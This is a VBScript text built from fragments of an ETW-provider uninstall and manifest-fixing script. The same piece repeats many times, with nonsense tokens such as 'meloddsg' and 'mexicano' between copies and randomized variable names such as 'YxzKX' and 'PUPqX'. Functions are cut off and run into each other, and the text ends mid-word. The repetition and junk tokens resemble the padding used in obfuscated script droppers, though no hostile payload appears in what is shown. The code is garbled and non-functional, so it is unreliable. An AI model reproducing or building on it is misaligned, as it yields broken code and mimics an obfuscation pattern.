Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a 